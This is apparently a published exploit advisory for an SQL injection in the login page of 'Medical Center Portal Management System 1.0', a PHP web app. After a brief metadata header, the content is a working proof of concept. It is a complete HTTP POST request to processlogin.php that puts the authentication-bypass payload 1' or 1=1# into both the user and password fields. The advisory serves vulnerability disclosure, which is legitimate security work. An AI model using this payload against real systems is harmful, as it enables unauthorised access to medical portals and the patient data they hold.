Medical Center Portal Management System 1.0 - 'login' SQL Injection

# Exploit Title: Medical Center Portal Management System 1.0 - 'login' SQL Injection
# Dork: N/A
# Date: 2020-11-26
# Exploit Author: Aydın Baran Ertemir
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Version: 1.0
# Category: Webapps
# Tested on: Kali Linux

# POC:
# 1)
# http://localhost/medic/pages/login.php
#
POST /medic/pages/processlogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/medic/pages/login.php
Cookie: PHPSESSID=ef7226c5aa187ed19ce1815df30e079e
Upgrade-Insecure-Requests: 1

user=1%27+or+1%3D1%23&password=1%27+or+1%3D1%23&btnlogin=